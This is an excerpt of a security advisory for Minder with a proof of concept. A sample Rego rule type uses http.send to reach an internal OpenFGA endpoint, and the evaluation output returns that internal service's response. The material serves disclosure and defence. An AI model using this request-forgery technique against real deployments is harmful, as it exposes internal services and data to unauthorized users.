GHSA-6XVF-4VH9-MW47

Workarounds

Users should avoid deploying Minder with access to sensitive resources. Unfortunately, this could include access to systems like OpenFGA or Keycloak, depending on the deployment configuration.

References

Sample ruletype:

version: v1
type: rule-type
name: test-http-send
display_name: Test that we can call http.send
short_failure_message: Failed http.send
severity:
  value: medium
context:
  provider: github
description: |
  ...
guidance: |
  ....
def:
  in_entity: repository
  rule_schema:
    type: object
    properties: {}
  ingest:
    type: git
    git: {}
  eval:
    type: rego
    violation_format: text
    rego:
      type: constraints
      def: |
        package minder

        import rego.v1

        violations contains {"msg": "Check-execution"}

        resp := http.send({
          "method": "GET",
          "url": "http://openfga:8080/",
          "raise_error": false,
        })

        violations contains {"msg": sprintf("Response: %s", [resp.status])}

        details := sprintf("High score: %s", [resp.body.summary])

        violations contains {"msg": sprintf("Response body: %s", [resp.body]) } if {
          resp.status_code > 0
        }

Example policy:

version: v1
type: profile
name: Test-HTTP-send
display_name: Test if we can do http.send
context:
  provider: github
alert: "off"
remediate: "off"
repository:
  - type: test-http-send
    def: {}

Evaluation results:

$ minder profile status list -n test-http-send --json
{
  "profileStatus": {
    "profileId": "3b3e0918-4deb-49cc-b4c9-1d1d912cf784",
    "profileName": "Test-HTTP-send",
    "profileStatus": "failure",
    "lastUpdated": "2024-10-31T03:44:01.456359Z"
  },
  "ruleEvaluationStatus": [
    {
      "profileId": "3b3e0918-4deb-49cc-b4c9-1d1d912cf784",
      "ruleId": "c0ebac2c-cfe2-4a98-b0a6-d6971209653e",
      "ruleName": "test-http-send",
      "entity": "repository",
      "status": "failure",
      "lastUpdated": "2024-10-31T03:44:01.456359Z",
      "entityInfo": {
        "entity_id": "a7f7a4bc-4430-4e9a-86a9-ffa026db6343",
        "entity_type": "repository",
        "name": "a-random-sandbox/colorls",
        "provider": "github-app-a-random-sandbox",
        "repo_name": "colorls",
        "repo_owner": "a-random-sandbox",
        "repository_id": "a7f7a4bc-4430-4e9a-86a9-ffa026db6343"
      },
      "details": "Multiple issues:\n* Check-execution\n* Response body: {\"code\": \"undefined_endpoint\", \"message\": \"Not Found\"}\n* Response: 404 Not Found\n",
      "guidance": "....\n",
      "remediationStatus": "skipped",
      "remediationLastUpdated": "2024-10-31T03:44:01.456359Z",
      "ruleTypeName": "test-http-send",
      "ruleDescriptionName": "Test that we can call http.send",
      "alert": {
        "status": "skipped",
        "lastUpdated": "2024-10-31T03:44:01.456359Z"
      },
      "ruleDisplayName": "Test that we can call http.send",
      "releasePhase": "RULE_TYPE_RELEASE_PHASE_ALPHA"
    }
  ]
}